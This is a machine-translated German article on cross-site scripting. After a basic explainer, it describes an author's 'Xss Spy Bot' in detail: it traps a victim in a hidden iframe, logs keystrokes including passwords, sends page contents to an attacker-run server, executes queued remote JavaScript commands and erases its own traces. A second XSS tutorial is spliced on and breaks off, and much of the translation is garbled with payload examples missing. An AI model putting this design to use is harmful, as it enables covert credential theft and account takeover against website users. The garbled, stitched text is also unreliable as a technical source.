Einfacher Hack: So erhalten Sie Daten durch Cross Site Scripting Inclusion. Optimale Nutzung von XSS-Schwachstellen Xss-Noscript-Warnung
Was ist eine XSS-Sicherheitsanfälligkeit? Sollte ich Angst vor ihr haben?
Cross Site Scripting (kurz XSS) ist eine weit verbreitete Sicherheitsanfälligkeit, die viele Webanwendungen betrifft. Es ermöglicht einem Angreifer, schädlichen Code so in eine Website einzufügen, dass der Browser des Benutzers, der die Website besucht, den Code ausführt.
Das Ausnutzen einer solchen Sicherheitsanfälligkeit erfordert in der Regel eine gewisse Interaktion mit dem Benutzer: Entweder werden sie mithilfe von Social Engineering auf eine infizierte Site gelockt, oder sie warten einfach darauf, dass der Benutzer die Site selbst besucht. Daher nehmen Entwickler XSS-Schwachstellen häufig nicht ernst. Wenn sie jedoch nicht angesprochen werden, können sie eine ernsthafte Sicherheitsbedrohung darstellen.
Stellen wir uns vor, wir befinden uns im WordPress-Admin-Bereich und fügen neue Inhalte hinzu. Wenn wir hierfür ein für XSS anfälliges Plugin verwenden, kann dies den Browser dazu zwingen, einen neuen Administrator zu erstellen, Inhalte zu ändern und andere böswillige Aktionen auszuführen.
Durch Cross-Site-Scripting hat ein Angreifer heutzutage fast die vollständige Kontrolle über die wichtigste Software - den Browser.
XSS: Sicherheitsanfälligkeit bei Injektionen
Jede Website oder Anwendung verfügt über mehrere Einstiegspunkte - Formularfelder bis zur URL selbst. Das einfachste Beispiel für die Dateneingabe ist die Eingabe eines Benutzernamens und eines Kennworts in ein Formular:
Abbildung 1. Dateneingabeformular
Unser Name wird für zukünftige Interaktionen mit uns in der Datenbank der Site gespeichert. Wenn Sie sich auf einer Website angemeldet haben, haben Sie sicherlich eine persönliche Begrüßung im Stil von "Willkommen, Ilya" gesehen. Zu diesem Zweck werden Benutzernamen in der Datenbank gespeichert.
Eine Injektion ist eine Prozedur, bei der anstelle eines Namens oder Kennworts eine spezielle Zeichenfolge eingegeben wird, wodurch der Server oder Browser gezwungen wird, auf eine bestimmte Weise zu reagieren, die der Angreifer benötigt.
Cross-Site-Scripting bezieht sich auf eine Injektion, die Code einfügt, der im Namen einer Website Aktionen im Browser ausführt. Dies kann sowohl mit der Benachrichtigung des Benutzers als auch im Hintergrund ohne sein Wissen geschehen.
Abbildung 2. Ein visuelles Diagramm für Cross-Site-Scripting
Das einfachste Beispiel ist ein rudimentäres Skript, das ein Benachrichtigungsfenster anzeigt. Es sieht aus wie das:
Tabelle 1. Skript, das das Popup-Fenster aufruft
Dieses Skript ruft ein Fenster mit der Aufschrift "THIS IS XSS VULNERABILITY !!!" auf. Der Browser des Benutzers erkennt dieses Skript als Teil des legitimen Codes der Site und führt es aus.
Arten von XSS-Schwachstellen
Nicht alle XSS-Schwachstellen sind gleich, es gibt viele Arten. Hier sind die Typen und wie sie interagieren:
Abbildung 3. Arten von XSS-Schwachstellen
Sicherheitslücken durch serverseitigen Code (Java, PHP, .NET usw.):
Traditionelle XSS-Angriffe:
- Reflektiert (unbeständig). Ein reflektierter XSS-Angriff wird ausgelöst, wenn ein Benutzer auf einen speziell vorbereiteten Link klickt. Diese Sicherheitsanfälligkeiten treten auf, wenn von einem Webclient bereitgestellte Daten, meist in HTTP-Anforderungsparametern oder in HTML-Form, direkt von serverseitigen Skripten ausgeführt werden, um eine Ergebnisseite für diesen Client ohne ordnungsgemäße Verarbeitung zu analysieren und anzuzeigen.
- Gespeichert (persistent). Gespeichertes XSS ist möglich, wenn ein Angreifer bei jedem Zugriff auf die Originalseite schädlichen Code in einen Server einfügen kann, der im Browser ausgeführt wird. Ein klassisches Beispiel für diese Sicherheitsanfälligkeit sind Foren, in denen HTML-Kommentare zulässig sind.
Sicherheitslücken durch clientseitigen Code (JavaScript, Visual Basic, Flash usw.):
Auch als DOM-Modelle bekannt:
- Reflektiert (unbeständig). Wie auf der Serverseite ist der Angriff nur in diesem Fall möglich, da der Code vom Browser verarbeitet wird.
- Gespeichert (persistent). Ähnlich wie beim gespeicherten XSS auf der Serverseite wird nur in diesem Fall die schädliche Komponente auf der Clientseite mithilfe des Browserspeichers gespeichert.
Sicherheitslücken in der Infrastruktur (Browser, Plugins, Server usw.):
Sehr selten, aber gefährlicher:
- Clientseitige Infrastruktur. Dies tritt auf, wenn eine böswillige Komponente die Browserfunktionalität manipuliert, z. B. den XSS-Filter usw.
- Serverseitige Infrastruktur. Tritt auf, wenn der Webserver Anforderungen nicht korrekt verarbeitet und sie geändert werden können.
- Netzwerk. Tritt auf, wenn die Kommunikation zwischen einem Client und einem Server infiltriert werden kann.
Benutzerbedingte Sicherheitslücken:
- Selbst-XSS. Dies ist häufig das Ergebnis von Social Engineering, wenn ein Benutzer versehentlich schädlichen Code in seinem Browser ausführt.
Was ist die Gefahr von XSS?
Wie können Sie Ihre Site vor XSS schützen? Wie überprüfe ich den Code auf Schwachstellen? Es gibt Technologien wie die Sucuri Firewall, die speziell entwickelt wurden, um solche Angriffe zu vermeiden. Wenn Sie jedoch Entwickler sind, möchten Sie sicherlich mehr darüber erfahren, wie Sie XSS-Schwachstellen identifizieren und beheben können. Wir werden im nächsten Teil des Artikels über XSS darüber sprechen.
Jeder weiß seit langem, dass ein Angreifer mit XSS meistens versucht, ein Cookie an ein Opfer zu senden, CSRF-Token zu lesen, einen Phishing-Angriff auszuführen (indem er ein gefälschtes Anmeldeformular erstellt), eine Aktion im Namen eines Benutzers auszuführen und andere ähnliche Angriffe auszuführen (möglicherweise nicht) alle Möglichkeiten, aber dies sind die beliebtesten, die mir derzeit bekannt sind).
Der Zweck dieser Methode besteht darin, die Seiten im Namen des Benutzers zu überwachen, den er auf der angegriffenen Site aufruft, sowie seine Tastenanschläge zu überwachen (Sie können sich auch bewegen und mit der Maus klicken, aber für mich sind dies unnötige, nicht sehr nützliche Informationen, in den meisten Fällen sicher). ...
Nun zum maximalen Nutzen - ich glaube, der Algorithmus würde so aussehen:
- cookies lesen und senden;
- lesen und senden Sie den Rest der Informationen (IP-Adresse, installierte Plugins, Browserversion und -typ, Flash-Unterstützung, Silverlight-Unterstützung usw.) [optional]
- wir bekommen Informationen über das interne Netzwerk, wir durchbrechen den Router [optional]
- verschiedene Token lesen und senden [optional];
- wir implementieren Phishing [optional];
- etwas "von Hand" "durch den Benutzer tun [optional];
- wir spionieren ihn weiterhin aus und extrahieren Informationen, bis er den Tab geschlossen oder die Site verlassen hat.
Alle optionalen Elemente in der Liste sollten abhängig von der Situation und den spezifischen Prioritäten für die mit XSS zu erreichenden Ziele ausgeführt werden. Sie können sich manchmal gegenseitig stören (wenn Sie versuchen, sie genauer zu kombinieren, nacheinander auszuführen) und die Wahrscheinlichkeit eines XSS-Ausnutzungsfehlers erhöhen.
Aber der erste und der letzte Punkt sollten auf jeden Fall immer befolgt werden. Eigentlich wird der Hauptteil des Artikels über den letzten Punkt aus dieser Liste sein.
Wir kommen zum Ziel.
Ich fange von weitem an: Über JavaScript ist es möglich, den Pfad in der Adressleiste zu ändern, ohne die Seite neu zu laden. Zum Beispiel, wenn der Benutzer die Seite unter geladen hat
http://site.com/some/path/to/page/
In der Adressleiste sieht der Inhalt dann wie folgt aus (ohne die Seite neu zu laden):
http://site.com/new-url/
http: //site.com/new-url/ |
Diese Funktion ist übrigens manchmal sehr nützlich, wenn die URL vor Benutzern (oder einer aufmerksameren Benutzerkategorie - Administratoren) ausgeblendet werden muss, nachdem sie auf den Link mit Reflected XSS geklickt hat, damit sie später nach dem Laden der Seite angezeigt wird in der Adressleiste fand nichts.
http: //site.com/search.php?q\u003d123 |
http://site.com/search.php?q\u003d123
http: //site.com/search.php?q\u003d123 |
wir werden ihm diese Gelegenheit nehmen.
Diese Technik hat jedoch noch interessantere und leistungsfähigere Anwendungen. Wir simulieren den Aufenthalt des Benutzers auf der Website, nachdem er auf den Link geklickt hat. Tatsächlich bleibt er die ganze Zeit auf derselben Seite. Zu diesem Zeitpunkt funktioniert ein Skript eines Drittanbieters, das Informationen extrahiert und an den Angreifer sendet. Auf diese Weise, XSS funktioniert so lange, wie der Benutzer dem Link in dieser Domain folgt .
Wir definieren die Idee.
Das allgemeine Funktionsprinzip lautet wie folgt: Wenn ein Benutzer eine Seite mit XSS besucht, erstellt das Skript einen Iframe mit derselben Adresse wie die Seite und "hängt" ihn an den Vordergrund. Der Benutzer hat den Eindruck, dass die Seite normal geladen wird, da Iframe nur im Code angezeigt wird Seiten.
Das Hilfsskript steuert die Logik des Spionage-Bots, dh es überwacht, wann sich die Adresse im Frame ändert, um sie in der Adressleiste zu ändern. Wenn sich jedoch in der neu geänderten Adresse des Frames eine andere Domäne befindet, können Sie sie auf einem neuen vlkadka öffnen, oder Sie müssen die Seite neu laden um nicht verbrannt zu werden.
Damit XSS momentan nicht mehr ausgeführt werden kann, muss der Benutzer die Seite entweder manuell aktualisieren (wenn XSS reflektiert wird und mit der POST-Methode übertragen wurde, wird das Update in anderen Fällen nicht gespeichert, und einige Browser können die POST-Anforderung jetzt beim Aktualisieren der Seite erneut senden) oder Schließen Sie die Registerkarte oder wechseln Sie zu einer anderen Domain (obwohl Sie in diesem Fall dennoch vermeiden können, die Kontrolle zu verlieren).
Wenn er zu einer Subdomain der angegriffenen Domäne wechselt, funktioniert die Auswahl des Angreifers, dh XSS, aber es besteht eine geringe Wahrscheinlichkeit, dass der Benutzer eine Diskrepanz zwischen der Adresse feststellt. Ich denke, dass hier je nach Situation, wenn beispielsweise die Domain google.ru angegriffen wurde, der Nutzer zum Cloud-Dateidienst von Google gegangen ist, der normalerweise in der Subdomain drive.google.ru liegt, und die Wahrscheinlichkeit, dass er den Haken beim Betrachten der Adressleiste bemerkt, ziemlich hoch ist , wenn er diesen Dienst oft nutzte... Andernfalls können Sie es riskieren. Wir müssen jedoch berücksichtigen, dass wir seine Daten nicht aus einem Frame mit einer Subdomain lesen können, da die Cross Origin-Richtlinie dies nicht zulässt. Aber wir können die Hauptdomäne in ihrem Namen im versteckten Modus ruhig erklimmen (weiter unten wird dies ausführlicher beschrieben).
Nur diese Methode hat Einschränkungen, nämlich - sie funktioniert nicht, wenn die Antworten des Webservers der Site einen Header enthalten X-Frame-Optionenmit Bedeutung VERWEIGERN... Aber ich persönlich habe solche Seiten nur ein paar Mal getroffen, jetzt sogar die Hälfte SAMEORIGINnicht ausgesetzt, geschweige denn volle Einschränkung durch VERWEIGERN.
Wir analysieren die Idee.
Jetzt erinnerten sich viele wahrscheinlich an eine so wundervolle Sache wie BeEF, die auch viele interessante Dinge enthält. Übrigens gibt es auch eine Option für die erzwungene Benutzerumleitung im Frame, aber die Adresse in der Adressleiste ändert sich nicht, was den Schreibtisch schnell verbrennen kann und diese Option für andere Zwecke ein wenig dient.
Im Allgemeinen hat BeEF'e fast alles, was Sie brauchen, und sogar viele zusätzliche Funktionen, aber ich persönlich wollte zusätzliche Funktionen, nämlich:
- die Fähigkeit, den Code von Seiten, die dem angegriffenen Benutzer zur Verfügung stehen, in Echtzeit zu überwachen;
- die Fähigkeit, alles zu sehen, was er auf dieser Site eingibt (von Login und Passwort bis zu Hotkeys und Nachrichten), dh Keylogger auf JS;
- die Möglichkeit, Ihrem Bot JS-Befehle in Echtzeit zu erteilen, nachdem Sie den Code der empfangenen Seiten angezeigt haben;
- die Fähigkeit, Befehle lokal dem Bot zu überlassen, so dass er sie dann „aufnimmt“ und ohne unsere direkte Teilnahme ausführt;
- eine geringere Wahrscheinlichkeit, dass der Bot verbrannt wird, oder die Fähigkeit des Bots, sich vor neugierigen Blicken zu "verstecken";
Wie oben erwähnt, habe ich mich entschlossen, von BeEF eine coole Idee der Befehlsausführungswarteschlange auszuleihen. Zum Beispiel haben wir die Seiten analysiert, die der Bot geworfen hat, als ein privilegierter Benutzer mit gespeichertem XSS in sein Control Panel geklettert ist. Wir überlassen den Befehl dem Bot-JS-Code, wie beim nächsten Eingeben des Benutzers, drücken Sie diese Taste, schreiben Sie diesen Wert hier und so weiter. Wenn dieser Benutzer die Seite das nächste Mal besucht, liest der Bot die Befehle und führt sie aus, und wir müssen überhaupt nicht an seiner Spitze stehen - das ist sehr praktisch.
Grundsätzlich ist ein solcher Bot natürlich für Statusbenutzer einiger Websites gedacht, die über zusätzliche "Hebel" für die Inhaltsverwaltung, andere Benutzer usw. verfügen. Aus den Anforderungen an die Funktionalität geht hervor, dass Sie nicht auf eine Serverseite verzichten können.
Lassen Sie uns die Idee umsetzen.
Im Prinzip kann dieser Teil des Artikels übersprungen werden, da er lediglich den Prozess der Implementierung des gewünschten Bots und einige seiner Details beschreibt, falls jemand ihn neu erstellen oder für sich selbst fertigstellen möchte. Obwohl der Bot am Anfang des Codes Variablen enthält, über die Sie einige Einstellungen vornehmen können.
Zunächst der Algorithmus der Bot-Aktionen ab dem Zeitpunkt des Ladens:
1) Auf Header prüfen X-Frame-Optionen: VERWEIGERN(falls vorhanden, dann die Angelruten aufrollen);
2) Einbetten eines Rahmens und Einrichten aller Komponenten des Bots;
3) Entfernen des Skripts und aller Spuren im HTML-Code;
4) Herstellen eines Kontakts mit der Serverseite und Beginn des Sendens von Daten, Reagieren auf Antworten (Empfangen von Befehlen vom Server);
Der erste Punkt war nicht vollständig abgeschlossen, dh der Bot überprüft nur die erste Seite und den Stammkopf. Tatsache ist, dass diese Header normalerweise vom Webserver für alle Seiten gleichzeitig eingebettet werden und es sehr selten vorkommt, dass alles "manuell" für eine separate Seite ausgeführt wird. Und dieser Titel selbst ist ziemlich selten. Nun, zum zweiten und dritten gibt es nichts Besonderes zu sagen, alles wird niedriger sein.
Es gibt einen relativ wichtigen Punkt, dass Sie vor dem Hinzufügen des Bot-Skript-Codes in Ihrem Code die XSS-Zeichen in der Adressleiste sofort (aus dem JS-Code) entfernen müssen, da dies die Erkennungswahrscheinlichkeit verringert und vor allem die Rekursion verhindert, die auftritt, wenn dem Frame eine Adresse hinzugefügt wird mit demselben XSS-Code, der wiederum einen anderen Frame mit sich selbst erstellt, und so weiter.
Nur für den Fall, dass der Bot-Code die Möglichkeit implementiert, eine solche Frame-Rekursion zu erkennen und beim ersten Versuch, einen Frame zu einem bereits erstellten Frame hinzuzufügen, zu verhindern, ist es besser, sich nicht nur darauf zu verlassen, sondern den Code vor dem Laden des Bot-Codes zusätzlich zu löschen. Obwohl ich noch keine Probleme getroffen habe.
Frame Update Check Funktion. Ich habe verschiedene Möglichkeiten ausprobiert, um dieses Problem wirtschaftlich zu lösen, indem ich Event-Handler anhängte contentWindowoder contentDocumentDa jedoch nichts erfolgreich war, musste ich eine Funktion schreiben, die die Adresse des Frames überprüft und mit der zuvor gespeicherten vergleicht und auf dieser Grundlage entscheidet, ob der Frame aktualisiert wird (ob sich die Adresse geändert hat) und sich dann rekursiv selbst aufruft.
Die Häufigkeit solcher Überprüfungen pro Sekunde wird durch eine Variable gesteuert verzögern, die am Anfang der Bot-Code-Datei angegeben wird. Aber später, nachdem ich es bereits geschrieben hatte, fand ich eine effizientere Lösung - verwenden Sie eine einfache Lösung und hängen Sie onloadpro Frame, also habe ich diese Funktion verlassen, sie aber auskommentiert, falls sich später herausstellt, dass sie gefragter ist.
Senden des HTML-Codes der Seite.
Hier ist das Schema recht einfach: Nach jedem erneuten Laden des Frames (einschließlich des ersten Ladens) sendet der Bot den gesamten HTML-Code der Seite zusammen mit seiner aktuellen Adresse an den Server, damit Sie später unterscheiden können, ob der Code zu den erforderlichen Seiten gehört.
Die Logik zum Speichern von Seiten ist auf dem Server implementiert. Der Server für jede Domäne erstellt einen Ordner mit dem Namen dieser Domäne, und wir speichern alle Daten dort. Seitencodes werden gespeichert und ständig auf die neuesten Versionen aktualisiert. Jeden neuen Tag wird jedoch eine neue Kopie der Seite erstellt, damit Sie den Versionsverlauf bei Bedarf steuern können. Das heißt, für /news.phpAm 1. September wird der Status aktualisiert und am 2. September wird eine Kopie davon erstellt, die nur für diesen Tag und damit jeden Tag erneut relevant ist (wenn der Benutzer diese Seite jeden Tag besucht). Der Seitenname besteht aus dem Datum und dem Pfad zu dieser Seite relativ zum Site-Stammverzeichnis (dh ohne Domain).
Keylogger in JavaScript.
Die Idee wurde bereits von einigen Enthusiasten umgesetzt, aber für mich passten ihre Entwicklungen nicht, schon weil die meisten von ihnen recht einfach waren, dh sie erkannten den Code der gedrückten Taste und durch String.fromCharCodein Symbole übersetzt. Diese Methode hat jedoch eine Reihe von Nachteilen: Steuertasten wie Shift, Control, Space usw. werden nicht in irgendeine Form übersetzt (oft nur ein leeres Zeichen), die Interaktion von alphanumerischen Tasten mit der Shift-Taste wird falsch protokolliert, da dies programmgesteuert implementiert werden muss und Außerdem werden alle gedrückten Tasten in Großbuchstaben angezeigt, die auch programmgesteuert korrigiert werden können.
Das Ergebnis war ein Keylogger, der alle Tasten mit Zahlen, Buchstaben und Grundzeichen korrekt erkannte, an beiden Layouts arbeitete, auf die Verschiebung reagierte und alle wichtigen Sondertasten protokollierte. Einige Zeichen (im oberen Teil der digitalen Zeile, die gedruckt werden, wenn die Umschalttaste und die Nummer gedrückt werden) können auf einigen Computern abweichen, da sie gemäß dem Hauptstandard implementiert wurden, den einige Unternehmen für einige ändern.
Jeder Teil der gedrückten Zeichen wird vom Client beibehalten, bis das Textelement den Fokus verliert. Dieser Teil wird dann an den Server gesendet, wo er in einer Textdatei gespeichert wird, die ebenfalls jeden Tag mit einer neuen Kopie erstellt wird, sodass keine großen Größen entstehen und Sie schnell feststellen können, was der Benutzer zu einem solchen Zeitpunkt eingegeben hat.
Zusätzlich zu den Schlüsseln selbst werden mit jedem Teil (dh war es) Informationen über das Element gesendet, in das der Text eingegeben wurde , oder einige
wenn der Benutzer Hotkeys verwendet hat, werden zusätzlich zum Namen des Elements seine Basisdaten (ID, Name, Klasse - falls vorhanden) gesendet, damit sie dann leicht im Code gefunden werden können. Und natürlich werden die Adresse der Seite, auf der sich ein Satz befand, und die ungefähre Zeit dieses Satzes aufgezeichnet. Im Allgemeinen werden die Informationen über den Benutzer, der an die Tastatur klopft, für die nachfolgende Analyse ausreichend gesendet.
Kommandiere deinen Bot.
Dieser Vorgang kann von einem Angreifer oder auf der Seite ausgeführt werden, auf der der Serverteil des Bots ausgeführt wird, oder sogar remote. Nach dem Starten des Serverskripts wird ein selbstgeschriebener Miniatur-Webserver gestartet, der die Anforderungen des Bots und seines Controllers erfüllt und über die Weboberfläche arbeitet. Das heißt, nach dem Start gibt der Webserver einen Link aus, indem Sie darauf klicken, um dem Bot Befehle zu erteilen.
Über dieses Bedienfeld. Zunächst musste es mit einem Kennwort eingeschränkt werden (der Pfad und nur wenige Personen kennen den laufenden Dienst an diesem und jenem Port oder die Adresse, unter der Sie sich anmelden müssen, um diesen Dienst nutzen zu können), damit Sie beim ersten Aufrufen des Servers nach einem angegebenen Kennwort gefragt werden In der Adressleiste (ein Beispiel wird bereitgestellt) wird das ursprüngliche Passwort in gespeichert password.txtdas kann geändert werden. Nach dem ersten Besuch weist der Webserver den Browser an, das Kennwort in einem Cookie zu speichern, sodass Sie sich darüber keine Sorgen mehr machen müssen.
Auf der Seite zum Senden von Befehlen an den Bot selbst finden Sie auch Informationen zum Status des Bots - ob er gerade online oder offline ist - sowie einige Einstellungen, von denen die erste der Host ist, dh die IP-Adresse oder Domäne der Site, an die die Befehle an den Bot gesendet werden. Dies ist für den Fall gedacht, dass mehrere Sites diesen Bot enthalten, damit sie identifiziert werden können. Auf dem Server werden auch in diesem Fall alle Daten in Ordner mit Domänennamen unterteilt.
Als nächstes folgt das Fenster, in das Befehle in JS in den Bot geschrieben werden sollen, und die Option, mit der festgelegt wird, wo dieser JS-Code ausgeführt wird, im Hauptfenster, in dem sich der Bot befindet, oder in einem Frame.
Wenn der Bot nicht online ist, speichert der Server die Befehle einfach und später, wenn der Bot online geht, dh der Benutzer besucht die Seite damit erneut oder folgt dem Link des Angreifers - diese Befehle werden ausgeführt.
Dies ist sehr praktisch, wenn der Bot während der ersten Erkundung alle vom Benutzer besuchten Seiten (z. B. ein persönliches Konto) verworfen hat, nachdem er den Code untersucht hat, dessen Befehle wir in JS kompiliert haben, damit der Bot später auf die benötigten Links klickt, die erforderlichen Daten eingibt, die erforderlichen Bilder anzeigt usw., was hilfreich ist das gesetzte Ziel erreichen.
Oder Sie können direkt in Echtzeit den Inhalt der Seiten schnell durch den Code betrachten und den Bot-Befehlen geben, um den Code anderer Seiten zu senden, zu einer anderen Adresse zu wechseln usw. Und all dies wird "hinter dem Bildschirm" vom Benutzer erledigt, der ruhig weiter surft Seite durch den Rahmen.
Zur Vereinfachung können Sie die am häufigsten verwendeten Anweisungen in ganze Funktionen in JS umwandeln, die dann in die Quelldatei-Bots eingegeben werden können ( xsb.jswird die Dateistruktur weiter unten erläutert) und verwendet. Oder verwenden Sie die Funktionen, die in den Bot eingebettet sind, obwohl es nur die Basis und nichts Neues gibt. Sie können jedoch beispielsweise die Funktion zum Senden des Seitencodes jederzeit verwenden und nicht, wenn der Frame neu geladen wird. Sie können eine Funktion schreiben, die die an sie übergebenen Links in neuen Frames im Hintergrund öffnet, um den Inhalt mehrerer Seiten im Namen des Benutzers anzuzeigen (und diesen Inhalt mit seinen virtuellen Händen zu bedienen).
Eigenen Code entfernen.
Nun, die letzte Funktion ist ganz einfach implementiert (sie kann durch Einstellen der gewünschten Variablen in der Datei deaktiviert werden, sie werden auskommentiert). Das Skript löscht sich selbst, nachdem alle Ereignishandler eingerichtet und aufgehängt und alle Variablen und Funktionen erstellt wurden
Immerhin wurden alle Daten bereits über den Browser in den Arbeitsspeicher geladen, sodass Sie sich keine Sorgen machen müssen. Theoretisch gibt es jedoch später einige Probleme, die ich nicht berücksichtigt habe. Deshalb habe ich eine Variable angegeben, die von deaktiviert werden kann Notwendigkeit.
Nach dem Entfernen aller Skripte ist es äußerst schwierig, XSS zu bemerken, da das Vorhandensein eines Frames nicht ganz indirekt darüber spricht und der Code selbst nur in den Protokollen des Netzwerkverkehrsverlaufs des Browsers zu finden ist (die in vielen Browsern nicht standardmäßig gespeichert sind, wenn das Entwicklerfenster nicht geöffnet ist). ...
Serverteil.
Um den Bot einfacher und bequemer zu starten, wurde beschlossen, meinen eigenen kleinen Webserver auf Sockets zu schreiben, die den Bot bedienen, alle Vorgänge zum Empfangen und Platzieren der gesendeten Daten bereitstellen, Nachrichten zwischen dem Angreifer und dem Bot übertragen und eine Webschnittstelle zum Befehlen des Angreifers erstellen ...
Der Server wurde in Python geschrieben. Ich habe versucht, nur Standardbibliotheken zu verwenden, damit ich vor dem Start nichts installieren musste. Außerdem bearbeitet der Server selbst einige Daten in den Skripten, dh im JS-Skript des Bots müssen Sie die Adresse des Befehlsservers nicht festlegen. Der Webserver selbst legt beim Start die erforderliche Adresse dort ab. In der Serverkonfiguration gibt es nur einen Parameter - den Port, an dem er gestartet wird (standardmäßig 8000).
Nach dem Start zeigt der Server alle erforderlichen Daten an - eine Verknüpfung zum JS-Skript, das entfernt werden muss, eine Verknüpfung zur Befehlsleiste oder zur Vereinfachung Verknüpfungen zu externen und lokalen Adressen.
Schema der Arbeit mit einem Bot.
Wir starten den Server an einem nicht beanspruchten Port und Sie können einen Link mit einem Bot-Skript senden. Jeder, der ihm folgt, sendet Ihnen Daten, die der Server zu jeder Tageszeit speichert. Dann können Sie sie einfach anzeigen, wenn Sie das Team dem Bot überlassen und ihre Geschäfte fortsetzen müssen.
Dateistruktur.
Der Ordner enthält die folgenden Dateien:
- xsb.py.- die Hauptdatei, die die Serverseite implementiert, damit der Bot sie ausführen kann, und dann einfach den von ihm angebotenen Link verwendet;
- xsb.js- Hier wird der JS-Code des Bots gespeichert, dessen Link vom Server ausgegeben wird. Zu Beginn werden Konfigurationsvariablen deklariert, die nach eigenem Ermessen geändert werden können (einige, nämlich der Host und der Port, werden vom Server selbst festgelegt, Sie müssen sich keine Sorgen machen).
- panel.html- Von hier aus übernimmt der Server den Code für das Bot-Control-Panel. Sie können die Benutzeroberfläche nach eigenem Ermessen anpassen.
- password.txt- Hier ist das Passwort vom Bedienfeld gespeichert, das geändert werden kann.
- savedData- Dies ist ein Verzeichnis, in dem Ordner mit Site-Domänen erstellt werden, in denen alle Informationen gespeichert werden.
Ich stelle das noch einmal in der Datei fest xsb.jssie können Ihre eigenen Funktionen hinzufügen, die dann über das Bedienfeld aufgerufen werden, ohne große Teile des Codes zu schreiben.
Eine kleine Analyse der Ergebnisse.
Nachdem ich meine eigene erfundene Methode geschrieben habe, um einen Benutzer mit XSS durch Frames auf einer Seite zu halten (nun, als erfundene - ich habe sie persönlich für mich entdeckt, ist es durchaus möglich, dass jemand anderes diese Technik für sich selbst „erfunden“ hat oder sie im Allgemeinen bereits irgendwo in der Öffentlichkeit ist leuchtete, weil es jetzt ziemlich schwierig ist, etwas wirklich Neues zu entwickeln, und in der Regel habe ich nach einiger Zeit festgestellt, dass „es bereits in den Simpsons war“), begann ich mich eingehender mit BeEF zu befassen und sein Wiki zu lesen. Dann entdeckte ich, dass dort eine andere Technik implementiert wurde, um das gleiche Ziel zu erreichen - die Zeit des Benutzers auf der Seite mit dem ausführbaren XSS (das dort aufgerufen wurde) zu verlängern mann im Browser). Und es wurde wie folgt implementiert: Alle Links auf der Startseite wurden so geändert, dass das Skript beim Klicken auf einen der Seiten die Seite nicht neu lud, sondern über Ajax eine Anfrage an den Server sendete und die in der Antwort empfangenen Daten einfügte, dh wir konnten sagen, dass sie auch künstlich aktualisiert wurden fast nicht von einer regelmäßigen Auffrischung zu unterscheiden.
Daher war ich nicht der erste, der diese Idee umsetzte (auch wenn die Methoden unterschiedlich waren). Beide Methoden haben jedoch ihre Nachteile:
Upload-Methode über
Die Ajax-Methode funktioniert immer, wenn der Browser sie unterstützt (jetzt unterstützen sie alle gängigen Browser). Mit dem neuen Web 2.0-Standard werden jedoch immer mehr Übergänge durch benutzerdefinierte Ereignisse von Elementen über JS ausgelöst. Einmal ging ich zu Google AdWords und beschloss zu sehen, wie HTML und JS dort interagieren, da alle meine Spinnen beim Erstellen einer Karte dieses Dienstes äußerst schlecht waren. Und ich habe den ganzen Abend leise versaut, wie viel es dort nicht üblich war, wenn Textelemente Schaltflächen und Schalter und Schieberegler waren und was sie einfach nicht darstellten, und an jedem hingen ungefähr 30 verschiedene Event-Handler.
Das heißt, auf einer ausgefallenen Site wird die Übergangstaste (subjektiv ein Link) durch ein reguläres Tag implementiert , die mit Stilen geladen ist und an denen Event-Handler hängen, von denen einer zum Beispiel onclick leitet den Benutzer auf eine andere Seite weiter. Es gibt auch Standardelemente wie [i] oder ich und so weiter, die eigentlich auch Links zu anderen Seiten sind, auf die BeEF jedoch nicht reagiert und die Seite einfach nicht aktualisiert wird, wenn Sie auf die meisten Schaltflächen und andere Elemente klicken. Dies kann den Benutzer dazu veranlassen, die Seite zu aktualisieren oder "von der anderen Seite" erneut zu besuchen, wodurch unsere aktive XSS-Sitzung beendet wird.
Der Kürze halber habe ich die Dateien Xss Spy Bot genannt.
P.S.
Das Schreiben des Ganzen dauerte etwas mehr als einen Monat, da es regelmäßig an Zeit mangelte und ständig abgelenkt wurde. Auch aus diesem Grund ist die Qualität des Codes und die Wahrscheinlichkeit, auf einen Fehler zu stoßen, ziemlich hoch. Deshalb bitte ich Sie, nicht zu viel zu schwören, sondern sich abzumelden, was mit jemandem nicht stimmt, damit Sie es beheben können.
Ich selbst habe den Bot auf nur 4 Maschinen getestet, alle hatten Debian.
Wenn es in den langfristigen Plänen für diesen Bot Motivation gibt:
- das Rendern des Codes der Seiten, die der Bot an den Server sendet, so zu implementieren, dass er sofort im Browser geöffnet wird und im laufenden Betrieb „gefühlt“ werden kann;
- Sie werden versuchen, die Vorteile der WebRTC-Technologie zu nutzen, dh Wege zu finden, um neue Informationen zu erhalten, die mit reinem JS nicht abgerufen werden können.
- Implementierung der Kommunikation zwischen dem Bot und dem Server über das WebSocket-Protokoll über HTTP;
- dem Bedienfeld etwas Komfort verleihen;
- 1.Was ist XSS?
- 2.XSS-Ansichten
- 3. Funktionen von DOM-basiertem XSS
- 4.XSS Auditor
- 5 Beispiele für die XSS-Nutzung
- 6.Suchen Sie Websites, die für XSS anfällig sind
- 7. Programme zum Suchen und Scannen von XSS-Schwachstellen
Was ist XSS?
Cross-Site Scripting (XSS) ist eine Sicherheitsanfälligkeit, bei der clientseitiger Code (JavaScript) in eine Webseite eingefügt wird, die andere Benutzer anzeigen.
Die Sicherheitsanfälligkeit ergibt sich aus einer unzureichenden Filterung von Daten, die der Benutzer zum Einfügen in eine Webseite einreicht. Mit einem bestimmten Beispiel ist es viel einfacher zu verstehen. Denken Sie an jedes Gästebuch - dies sind Programme, die Daten vom Benutzer akzeptieren und dann anzeigen. Stellen wir uns vor, das Gästebuch überprüft oder filtert die Eingabedaten in keiner Weise, sondern zeigt sie einfach an.
Sie können Ihr einfachstes Skript skizzieren (es gibt nichts Einfacheres, als schlechte Skripte in PHP zu schreiben - viele Leute tun dies). Es gibt aber bereits viele vorgefertigte Optionen. Zum Beispiel schlage ich vor, mit Dojo und den OWASP Mutillidae II zu beginnen. Es gibt ein ähnliches Beispiel. Gehen Sie im eigenständigen Dojo zu Ihrem Browser unter: http: //localhost/mutillidae/index.php? Page \u003d add-to-your-blog.php
Wenn einer der Benutzer eingegeben hat:
Hallo! Wie geht es Ihnen.
Dann wird die Webseite angezeigt:
Hallo! Wie geht es Ihnen.
Und wenn der Benutzer so eingibt:
Hallo! Wie geht es Ihnen.
Dann wird es so angezeigt:
Browser speichern mehrere Cookies auf einer großen Anzahl von Websites. Jede Site kann nur von sich selbst gespeicherte Cookies empfangen. Zum Beispiel hat example.com einige Cookies in Ihrem Browser gespeichert. Wenn Sie eine andere Website besuchen, kann diese Website (Client- und Serverskripte) nicht auf die von example.com gespeicherten Cookies zugreifen.
